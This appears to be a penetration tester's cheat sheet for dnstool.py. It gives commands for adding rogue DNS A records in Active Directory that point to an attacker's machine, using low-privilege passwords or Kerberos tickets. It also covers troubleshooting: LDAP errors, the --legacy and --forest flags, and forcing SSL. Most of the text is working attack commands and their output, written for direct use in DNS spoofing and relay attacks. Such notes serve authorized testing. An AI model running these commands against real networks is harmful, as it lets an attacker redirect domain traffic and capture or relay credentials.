dnstool.py

This script helps you add DNS records to the domain (which members of Domain Users can by default):

Add a rogue DNS record that points to your attacking box (using username/password)

dnstool.py -u 'tangent\any-valid-AD-user' -p 'Supersecretpassword' -r ROGUE-DNS-RECORD -a add -t A -d IP.OF.ATTACKING.BOX IP.OF.A.DOMAIN-CONTROLLER

Add a rogue DNS record that points to your attacking box (using Kerberos)

# Grab a ticket
getTGT domain.com/lowpriv

# Set the environment variable
export KRB5CCNAME=lowpriv.ccache

# Add the record
dnstool.py -u 'domain.local\lowpriv' -k -r ROGUE RECORD -a add -t A -d MY.KALI.IP.ADDRESS IP.OF.A.DC

Troubleshooting

LDAP operation failed. Message returned from server: noSuchObject

[!] LDAP operation failed. Message returned from server: noSuchObject 0000208D: NameErr: DSID-0310023C, problem 2001 (NO_OBJECT), data 0, best match of:
        'CN=MicrosoftDNS,DC=DomainDnsZones,DC=domain,DC=com'

Then rerun the command but add --legacy flag to the command.

Another time even the --legacy flag wouldn't save me. So I ran:

dnstool.py -u 'domain.com\brian' -p 'JingleAllTheWay1996!' --print-zones 10.7.7.7

The output could look something like this:

[-] Found 6 forest DNS zones:
    ..TrustAnchors
    x.x.x.in-addr.arpa
    x.x.x.in-addr.arpa
    x.x.x.in-addr.arpa
    au.domain.com
CNF:xxx-xxx-xxx-xxx
    domain.com

If you see domain.com in this output, try running dnstool.py again but with the --forest flag:

dnstool.py -u 'domain.com\brian' -p 'JingleAllTheWay1996!' -r ROGUE-DNS-RECORD -a add -t A -d IP.OF.ATTACKING.BOX IP.OF.A.DOMAIN-CONTROLLER --forest

strongerAuthRequired

Maybe you've seen this:

-] Connecting to host...
[-] Binding to host
[!] Could not bind with specified credentials
[!] {'result': 8, 'description': 'strongerAuthRequired', 'dn': '', 'message': '00002028: LdapErr: DSID-0C09035A, comment: The server requires binds to turn on integrity checking if SSL\\TLS are not already active on the connection, data 0, v65f4\x00', 'referrals': None, 'saslCreds': None, 'type': 'bindResponse'}

I've found that adding this to the end of the command usually makes things happy:

-force-ssl -port 636

If all else fails

I had a test recently where the tool was throwing errors having to do with LDAP/SSL, and long story short, it was easier to add the record on the Windows side with Powermad.